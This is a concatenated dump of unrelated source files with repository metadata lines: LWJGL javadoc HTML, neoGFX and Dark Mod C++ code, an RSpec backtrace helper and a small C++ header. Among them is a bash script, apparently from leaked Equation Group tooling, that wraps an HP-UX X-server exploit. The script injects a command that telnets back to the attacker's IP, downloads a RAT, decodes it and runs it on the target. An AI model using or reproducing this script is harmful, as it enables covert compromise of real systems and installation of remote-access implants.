<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/NVDeepTexture3D.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/lwjgl/opengl/NVCopyImage.html" title="class in org.lwjgl.opengl"><B>PREV CLASS</B></A>
<A HREF="../../../org/lwjgl/opengl/NVDepthBufferFloat.html" title="class in org.lwjgl.opengl"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/lwjgl/opengl/NVDeepTexture3D.html" target="_top"><B>FRAMES</B></A>
<A HREF="NVDeepTexture3D.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | <A HREF="#field_summary">FIELD</A> | CONSTR | <A HREF="#methods_inherited_from_class_java.lang.Object">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | CONSTR | METHOD</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<!-- ======== START OF CLASS DATA ======== -->
<H2>
<FONT SIZE="-1">
org.lwjgl.opengl</FONT>
<BR>
Class NVDeepTexture3D</H2>
<PRE>
java.lang.Object
<IMG SRC="../../../resources/inherit.gif" ALT="extended by "><B>org.lwjgl.opengl.NVDeepTexture3D</B>
</PRE>
<HR>
<DL>
<DT><PRE>public final class <B>NVDeepTexture3D</B><DT>extends java.lang.Object</DL>
</PRE>
<P>
<HR>
<P>
<!-- =========== FIELD SUMMARY =========== -->
<A NAME="field_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Field Summary</B></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengl/NVDeepTexture3D.html#GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV">GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV</A></B></CODE>
<BR>
Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengl/NVDeepTexture3D.html#GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV">GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV</A></B></CODE>
<BR>
Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:</TD>
</TR>
</TABLE>
<!-- ========== METHOD SUMMARY =========== -->
<A NAME="method_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Method Summary</B></FONT></TH>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TH ALIGN="left"><B>Methods inherited from class java.lang.Object</B></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD>
</TR>
</TABLE>
<P>
<!-- ============ FIELD DETAIL =========== -->
<A NAME="field_detail"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2">
<B>Field Detail</B></FONT></TH>
</TR>
</TABLE>
<A NAME="GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV"><!-- --></A><H3>
GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV</H3>
<PRE>
public static final int <B>GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV</B></PRE>
<DL>
<DD>Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengl.NVDeepTexture3D.GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV"><!-- --></A><H3>
GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV</H3>
<PRE>
public static final int <B>GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV</B></PRE>
<DL>
<DD>Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengl.NVDeepTexture3D.GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV">Constant Field Values</A></DL>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/NVDeepTexture3D.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/lwjgl/opengl/NVCopyImage.html" title="class in org.lwjgl.opengl"><B>PREV CLASS</B></A>
<A HREF="../../../org/lwjgl/opengl/NVDepthBufferFloat.html" title="class in org.lwjgl.opengl"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/lwjgl/opengl/NVDeepTexture3D.html" target="_top"><B>FRAMES</B></A>
<A HREF="NVDeepTexture3D.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | <A HREF="#field_summary">FIELD</A> | CONSTR | <A HREF="#methods_inherited_from_class_java.lang.Object">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | CONSTR | METHOD</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
<i>Copyright © 2002-2009 lwjgl.org. All Rights Reserved.</i>
</BODY>
</HTML>
| GokulEvuri/VenganceRabbit | lib/Docs/javadoc/org/lwjgl/opengl/NVDeepTexture3D.html | HTML | lgpl-3.0 | 10,414 |
// spin_box.hpp
/*
neoGFX Resource Compiler
Copyright(C) 2019 Leigh Johnston
This program is free software: you can redistribute it and / or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#pragma once
#include <neogfx/neogfx.hpp>
#include <neogfx/gui/widget/spin_box.hpp>
#include <neogfx/tools/nrc/ui_element.hpp>
namespace neogfx::nrc
{
template <typename T, ui_element_type SpinBoxType>
class basic_spin_box : public ui_element<>
{
public:
basic_spin_box(const i_ui_element_parser& aParser, i_ui_element& aParent) :
ui_element<>{ aParser, aParent, SpinBoxType }
{
add_header("neogfx/gui/widget/spin_box.hpp");
add_data_names({ "minimum", "maximum", "step", "value" });
}
public:
void parse(const neolib::i_string& aName, const data_t& aData) override
{
ui_element<>::parse(aName, aData);
if (aName == "minimum")
iMinimum = get_scalar<T>(aData);
else if (aName == "maximum")
iMaximum = get_scalar<T>(aData);
else if (aName == "step")
iStep = get_scalar<T>(aData);
else if (aName == "value")
iValue = get_scalar<T>(aData);
}
void parse(const neolib::i_string& aName, const array_data_t& aData) override
{
ui_element<>::parse(aName, aData);
}
protected:
void emit() const override
{
}
void emit_preamble() const override
{
emit(" %1% %2%;\n", type_name(), id());
ui_element<>::emit_preamble();
}
void emit_ctor() const override
{
ui_element<>::emit_generic_ctor();
ui_element<>::emit_ctor();
}
void emit_body() const override
{
ui_element<>::emit_body();
if (iMinimum)
emit(" %1%.set_minimum(%2%);\n", id(), *iMinimum);
if (iMaximum)
emit(" %1%.set_maximum(%2%);\n", id(), *iMaximum);
if (iStep)
emit(" %1%.set_step(%2%);\n", id(), *iStep);
if (iMinimum)
emit(" %1%.set_value(%2%);\n", id(), *iValue);
}
protected:
using ui_element<>::emit;
private:
neolib::optional<T> iMinimum;
neolib::optional<T> iMaximum;
neolib::optional<T> iStep;
neolib::optional<T> iValue;
};
typedef basic_spin_box<int32_t, ui_element_type::SpinBox> spin_box;
typedef basic_spin_box<double, ui_element_type::DoubleSpinBox> double_spin_box;
}
| FlibbleMr/neogfx | tools/nrc/element_libraries/default/src/spin_box.hpp | C++ | lgpl-3.0 | 3,226 |
/*****************************************************************************
The Dark Mod GPL Source Code
This file is part of the The Dark Mod Source Code, originally based
on the Doom 3 GPL Source Code as published in 2011.
The Dark Mod Source Code is free software: you can redistribute it
and/or modify it under the terms of the GNU General Public License as
published by the Free Software Foundation, either version 3 of the License,
or (at your option) any later version. For details, see LICENSE.TXT.
Project: The Dark Mod (http://www.thedarkmod.com/)
$Revision$ (Revision of last commit)
$Date$ (Date of last commit)
$Author$ (Author of last commit)
******************************************************************************/
#include "precompiled_game.h"
#pragma hdrstop
static bool versioned = RegisterVersionedFile( "$Id$" );
#include "Script_Doc_Export.h"
#include "../pugixml/pugixml.hpp"
namespace {
inline void Write( idFile &out, const idStr &str ) {
out.Write( str.c_str(), str.Length() );
}
inline void Writeln( idFile &out, const idStr &str ) {
out.Write( ( str + "\n" ).c_str(), str.Length() + 1 );
}
idStr GetEventArgumentString( const idEventDef &ev ) {
idStr out;
static const char *gen = "abcdefghijklmnopqrstuvwxyz";
int g = 0;
const EventArgs &args = ev.GetArgs();
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
out += out.IsEmpty() ? "" : ", ";
idTypeDef *type = idCompiler::GetTypeForEventArg( i->type );
// Use a generic variable name "a", "b", "c", etc. if no name present
out += va( "%s %s", type->Name(), strlen( i->name ) > 0 ? i->name : idStr( gen[g++] ).c_str() );
}
return out;
}
inline bool EventIsPublic( const idEventDef &ev ) {
const char *eventName = ev.GetName();
if( eventName != NULL && ( eventName[0] == '<' || eventName[0] == '_' ) ) {
return false; // ignore all event names starting with '<', these mark internal events
}
const char *argFormat = ev.GetArgFormat();
int numArgs = strlen( argFormat );
// Check if any of the argument types is invalid before allocating anything
for( int arg = 0; arg < numArgs; ++arg ) {
idTypeDef *argType = idCompiler::GetTypeForEventArg( argFormat[arg] );
if( argType == NULL ) {
return false;
}
}
return true;
}
idList<idTypeInfo *> GetRespondingTypes( const idEventDef &ev ) {
idList<idTypeInfo *> tempList;
int numTypes = idClass::GetNumTypes();
for( int i = 0; i < numTypes; ++i ) {
idTypeInfo *info = idClass::GetType( i );
if( info->RespondsTo( ev ) ) {
tempList.Append( info );
}
}
idList<idTypeInfo *> finalList;
// Remove subclasses from the list, only keep top-level nodes
for( int i = 0; i < tempList.Num(); ++i ) {
bool isSubclass = false;
for( int j = 0; j < tempList.Num(); ++j ) {
if( i == j ) {
continue;
}
if( tempList[i]->IsType( *tempList[j] ) ) {
isSubclass = true;
break;
}
}
if( !isSubclass ) {
finalList.Append( tempList[i] );
}
}
return finalList;
}
int SortTypesByClassname( idTypeInfo *const *a, idTypeInfo *const *b ) {
return idStr::Cmp( ( *a )->classname, ( *b )->classname );
}
}
ScriptEventDocGenerator::ScriptEventDocGenerator() {
for( int i = 0; i < idEventDef::NumEventCommands(); ++i ) {
const idEventDef *def = idEventDef::GetEventCommand( i );
_events[std::string( def->GetName() )] = def;
}
time_t timer = time( NULL );
struct tm *t = localtime( &timer );
_dateStr = va( "%04u-%02u-%02u %02u:%02u", t->tm_year + 1900, t->tm_mon + 1, t->tm_mday, t->tm_hour, t->tm_min );
}
// --------- D3 Script -----------
idStr ScriptEventDocGeneratorD3Script::GetEventDocumentation( const idEventDef &ev ) {
idStr out = "/**\n";
out += " * ";
// Format line breaks in the description
idStr desc( ev.GetDescription() );
desc.Replace( "\n", "\n * " );
out += desc;
const EventArgs &args = ev.GetArgs();
idStr argDesc;
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
if( idStr::Length( i->desc ) == 0 ) {
continue;
}
// Format line breaks in the description
idStr desc( i->desc );
desc.Replace( "\n", "\n * " );
argDesc += va( "\n * @%s: %s", i->name, desc.c_str() );
}
if( !argDesc.IsEmpty() ) {
out += "\n * ";
out += argDesc;
}
out += "\n */";
return out;
}
void ScriptEventDocGeneratorD3Script::WriteDoc( idFile &out ) {
Write( out, "#ifndef __TDM_EVENTS__\n" );
Write( out, "#define __TDM_EVENTS__\n\n" );
Write( out, "/**\n" );
Write( out, " * The Dark Mod Script Event Documentation\n" );
Write( out, " * \n" );
Write( out, " * This file has been generated automatically by the tdm_gen_script_event_doc console command.\n" );
Write( out, " * Last update: " + _dateStr + "\n" );
Write( out, " */\n" );
Write( out, "\n" );
Write( out, "// ===== THIS FILE ONLY SERVES FOR DOCUMENTATION PURPOSES, IT'S NOT ACTUALLY READ BY THE GAME =======\n" );
Write( out, "// ===== If you want to force this file to be loaded, change the line below to #if 1 ================\n" );
Write( out, "#if 0\n" );
Write( out, "\n" );
Write( out, "\n" );
for( EventMap::const_iterator i = _events.begin(); i != _events.end(); ++i ) {
const idEventDef &ev = *i->second;
if( !EventIsPublic( ev ) ) {
continue;
}
idTypeDef *returnType = idCompiler::GetTypeForEventArg( ev.GetReturnType() );
idStr signature = GetEventArgumentString( ev );
idStr documentation = GetEventDocumentation( ev );
idStr outStr = va( "\n%s\nscriptEvent %s\t\t%s(%s);\n",
documentation.c_str(), returnType->Name(), ev.GetName(), signature.c_str() );
Write( out, outStr );
}
Write( out, "\n" );
Write( out, "#endif\n" );
Write( out, "\n" );
Write( out, "\n\n#endif\n" );
}
// ------------- Mediawiki -------------
idStr ScriptEventDocGeneratorMediaWiki::GetEventDescription( const idEventDef &ev ) {
idStr out = ":";
// Format line breaks in the description
idStr desc( ev.GetDescription() );
desc.Replace( "\n", " " ); // no artificial line breaks
out += desc;
out += "\n";
const EventArgs &args = ev.GetArgs();
idStr argDesc;
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
if( idStr::Length( i->desc ) == 0 ) {
continue;
}
// Format line breaks in the description
idStr desc( i->desc );
desc.Replace( "\n", " " ); // no artificial line breaks
argDesc += va( "::''%s'': %s\n", i->name, desc.c_str() );
}
if( !argDesc.IsEmpty() ) {
//out += "\n:";
out += argDesc;
}
return out;
}
idStr ScriptEventDocGeneratorMediaWiki::GetEventDoc( const idEventDef *ev, bool includeSpawnclassInfo ) {
idStr out;
idTypeDef *returnType = idCompiler::GetTypeForEventArg( ev->GetReturnType() );
idStr signature = GetEventArgumentString( *ev );
idStr description = GetEventDescription( *ev );
idStr outStr = va( "==== scriptEvent %s '''%s'''(%s); ====\n",
returnType->Name(), ev->GetName(), signature.c_str() );
out += outStr + "\n";
out += description + "\n";
// Get type response info
idList<idTypeInfo *> list = GetRespondingTypes( *ev );
list.Sort( SortTypesByClassname );
if( includeSpawnclassInfo ) {
idStr typeInfoStr;
for( int t = 0; t < list.Num(); ++t ) {
idTypeInfo *type = list[t];
typeInfoStr += ( typeInfoStr.IsEmpty() ) ? "" : ", ";
typeInfoStr += "''";
typeInfoStr += type->classname;
typeInfoStr += "''";
}
typeInfoStr = ":Spawnclasses responding to this event: " + typeInfoStr;
out += typeInfoStr + "\n";
}
return out;
}
void ScriptEventDocGeneratorMediaWiki::WriteDoc( idFile &out ) {
idStr version = va( "%s %d.%02d, code revision %d",
GAME_VERSION,
TDM_VERSION_MAJOR, TDM_VERSION_MINOR,
RevisionTracker::Instance().GetHighestRevision()
);
Writeln( out, "This page has been generated automatically by the tdm_gen_script_event_doc console command." );
Writeln( out, "" );
Writeln( out, "Generated by " + version + ", last update: " + _dateStr );
Writeln( out, "" );
Writeln( out, "{{tdm-scripting-reference-intro}}" );
// Table of contents, but don't show level 4 headlines
Writeln( out, "<div class=\"toclimit-4\">" ); // SteveL #3740
Writeln( out, "__TOC__" );
Writeln( out, "</div>" );
Writeln( out, "= TDM Script Event Reference =" );
Writeln( out, "" );
Writeln( out, "== All Events ==" );
Writeln( out, "=== Alphabetic List ===" ); // #3740 Two headers are required here for the toclimit to work. We can't skip a heading level.
typedef std::vector<const idEventDef *> EventList;
typedef std::map<idTypeInfo *, EventList> SpawnclassEventMap;
SpawnclassEventMap spawnClassEventMap;
for( EventMap::const_iterator i = _events.begin(); i != _events.end(); ++i ) {
const idEventDef *ev = i->second;
if( !EventIsPublic( *ev ) ) {
continue;
}
Write( out, GetEventDoc( ev, true ) );
idList<idTypeInfo *> respTypeList = GetRespondingTypes( *ev );
respTypeList.Sort( SortTypesByClassname );
// Collect info for each spawnclass
for( int t = 0; t < respTypeList.Num(); ++t ) {
idTypeInfo *type = respTypeList[t];
SpawnclassEventMap::iterator typeIter = spawnClassEventMap.find( type );
// Put the event in the class info map
if( typeIter == spawnClassEventMap.end() ) {
typeIter = spawnClassEventMap.insert( SpawnclassEventMap::value_type( type, EventList() ) ).first;
}
typeIter->second.push_back( ev );
}
}
// Write info grouped by class
Writeln( out, "" );
Writeln( out, "== Events by Spawnclass / Entity Type ==" );
for( SpawnclassEventMap::const_iterator i = spawnClassEventMap.begin();
i != spawnClassEventMap.end(); ++i ) {
Writeln( out, idStr( "=== " ) + i->first->classname + " ===" );
//Writeln(out, "Events:" + idStr(static_cast<int>(i->second.size())));
for( EventList::const_iterator t = i->second.begin(); t != i->second.end(); ++t ) {
Write( out, GetEventDoc( *t, false ) );
}
}
Writeln( out, "[[Category:Scripting]]" );
}
// -------- XML -----------
void ScriptEventDocGeneratorXml::WriteDoc( idFile &out ) {
pugi::xml_document doc;
idStr version = va( "%d.%02d", TDM_VERSION_MAJOR, TDM_VERSION_MINOR );
time_t timer = time( NULL );
struct tm *t = localtime( &timer );
idStr isoDateStr = va( "%04u-%02u-%02u", t->tm_year + 1900, t->tm_mon + 1, t->tm_mday );
pugi::xml_node eventDocNode = doc.append_child( "eventDocumentation" );
pugi::xml_node eventDocVersion = eventDocNode.append_child( "info" );
eventDocVersion.append_attribute( "game" ).set_value( GAME_VERSION );
eventDocVersion.append_attribute( "tdmversion" ).set_value( version.c_str() );
eventDocVersion.append_attribute( "coderevision" ).set_value( RevisionTracker::Instance().GetHighestRevision() );
eventDocVersion.append_attribute( "date" ).set_value( isoDateStr.c_str() );
for( EventMap::const_iterator i = _events.begin(); i != _events.end(); ++i ) {
const idEventDef *ev = i->second;
if( !EventIsPublic( *ev ) ) {
continue;
}
pugi::xml_node eventNode = eventDocNode.append_child( "event" );
eventNode.append_attribute( "name" ).set_value( ev->GetName() );
// Description
pugi::xml_node evDescNode = eventNode.append_child( "description" );
idStr desc( ev->GetDescription() );
desc.Replace( "\n", " " ); // no artificial line breaks
evDescNode.append_attribute( "value" ).set_value( desc.c_str() );
// Arguments
static const char *gen = "abcdefghijklmnopqrstuvwxyz";
int g = 0;
const EventArgs &args = ev->GetArgs();
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
idTypeDef *type = idCompiler::GetTypeForEventArg( i->type );
// Use a generic variable name "a", "b", "c", etc. if no name present
pugi::xml_node argNode = eventNode.append_child( "argument" );
argNode.append_attribute( "name" ).set_value( strlen( i->name ) > 0 ? i->name : idStr( gen[g++] ).c_str() );
argNode.append_attribute( "type" ).set_value( type->Name() );
idStr desc( i->desc );
desc.Replace( "\n", " " ); // no artificial line breaks
argNode.append_attribute( "description" ).set_value( desc.c_str() );
}
idList<idTypeInfo *> respTypeList = GetRespondingTypes( *ev );
respTypeList.Sort( SortTypesByClassname );
// Responding Events
pugi::xml_node evRespTypesNode = eventNode.append_child( "respondingTypes" );
for( int t = 0; t < respTypeList.Num(); ++t ) {
idTypeInfo *type = respTypeList[t];
pugi::xml_node respTypeNode = evRespTypesNode.append_child( "respondingType" );
respTypeNode.append_attribute( "spawnclass" ).set_value( type->classname );
}
}
std::stringstream stream;
doc.save( stream );
out.Write( stream.str().c_str(), stream.str().length() );
} | revelator/The-Darkmod-Experimental | src/game/script/Script_Doc_Export.cpp | C++ | lgpl-3.0 | 12,622 |
module Spec
module Runner
class BacktraceTweaker
def clean_up_double_slashes(line)
line.gsub!('//','/')
end
end
class NoisyBacktraceTweaker < BacktraceTweaker
def tweak_backtrace(error)
return if error.backtrace.nil?
tweaked = error.backtrace.collect do |line|
clean_up_double_slashes(line)
line
end
error.set_backtrace(tweaked)
end
end
# Tweaks raised Exceptions to mask noisy (unneeded) parts of the backtrace
class QuietBacktraceTweaker < BacktraceTweaker
unless defined?(IGNORE_PATTERNS)
root_dir = File.expand_path(File.join(__FILE__, '..', '..', '..', '..'))
spec_files = Dir["#{root_dir}/lib/*"].map do |path|
subpath = path[root_dir.length..-1]
/#{subpath}/
end
IGNORE_PATTERNS = spec_files + [
/\/lib\/ruby\//,
/bin\/spec:/,
/bin\/rcov:/,
/lib\/rspec-rails/,
/vendor\/rails/,
# TextMate's Ruby and RSpec plugins
/Ruby\.tmbundle\/Support\/tmruby.rb:/,
/RSpec\.tmbundle\/Support\/lib/,
/temp_textmate\./,
/mock_frameworks\/rspec/,
/spec_server/
]
end
def tweak_backtrace(error)
return if error.backtrace.nil?
tweaked = error.backtrace.collect do |message|
clean_up_double_slashes(message)
kept_lines = message.split("\n").select do |line|
IGNORE_PATTERNS.each do |ignore|
break if line =~ ignore
end
end
kept_lines.empty?? nil : kept_lines.join("\n")
end
error.set_backtrace(tweaked.select {|line| line})
end
end
end
end
| jmecosta/VSSonarQubeQualityEditorPlugin | MSBuild/Gallio/bin/RSpec/libs/rspec-1.2.7/lib/spec/runner/backtrace_tweaker.rb | Ruby | lgpl-3.0 | 1,816 |
//
// Item.h
// Project 2
//
// Created by Josh Kennedy on 5/3/14.
// Copyright (c) 2014 Joshua Kennedy. All rights reserved.
//
#ifndef __Project_2__Item__
#define __Project_2__Item__
#include <string>
class Item
{
public:
Item();
virtual ~Item() = 0;
unsigned long getIdNumber() const;
virtual double getPrice() const;
std::string getName() const;
virtual void doSomething() = 0;
protected:
unsigned long idNumber;
std::string name;
};
#endif /* defined(__Project_2__Item__) */
| JoshuaKennedy/jccc_cs235 | Project 2/Project 2/Item.h | C | unlicense | 550 |
#!/bin/bash
echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit
BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc.
Packrat now has an option to do just that:
packrat -n /current/bin/nc.YS
"
sleep 4
usage ()
{
echo "Usage: ${0}
-l [ IP of attack machine (NO DEFAULT) ]
-r [ name of rat on target (NO DEFAULT) ]
-p [ call back port DEFAULT = 32177 ]
-x [ port to start mini X server on DEFAULT = 12121 ]
-d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]"
echo "example: ${0} -l 192.168.1.1 -p 22222 -r nscd -x 9999 -d /tmp/.strange"
}
DIR=0
XPORT=0
CALLBACK_PORT=0
if [ $# -lt 4 ]
then
usage
exit 1
fi
while getopts hl:p:r:d:x: optvar
do
case "$optvar"
in
h)
usage
exit 1
;;
l) LOCAL_IP=${OPTARG}
;;
p) CALLBACK_PORT=${OPTARG}
;;
r) RAT=${OPTARG}
;;
x) XPORT=${OPTARG}
;;
d) DIR=${OPTARG}
;;
*) echo "invalid option"
usage
exit 1
;;
esac
done
if [ ${DIR} = 0 ]
then
DIR="/tmp/.X11R6"
fi
if [ ${XPORT} = 0 ]
then
XPORT=12121
fi
if [ ${CALLBACK_PORT} = 0 ]
then
CALLBACK_PORT=32177
fi
echo
echo "########################################"
echo "Local IP = ${LOCAL_IP}"
echo "Call back port = ${CALLBACK_PORT}"
echo "Name of Rat = ${RAT}"
echo "Starting mini X server on port ${XPORT}"
echo "Directory to create/use = ${DIR}"
echo "########################################"
echo
VENDOR_STR="\`mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && /usr/bin/telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 </dev/console > ${RAT}.uu; uudecode ${RAT}.uu 2>&1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z;chmod 0700 ${RAT} && export PATH=.; ${RAT} \`"
./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx
| DarthMaulware/EquationGroupLeaks | Leak #4 - Don't Forget Your Base/EQGRP-Auction-File/Linux/bin/wrap-hpux.sh | Shell | unlicense | 1,801 |
<!DOCTYPE html>
<html lang="es">
<head>
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
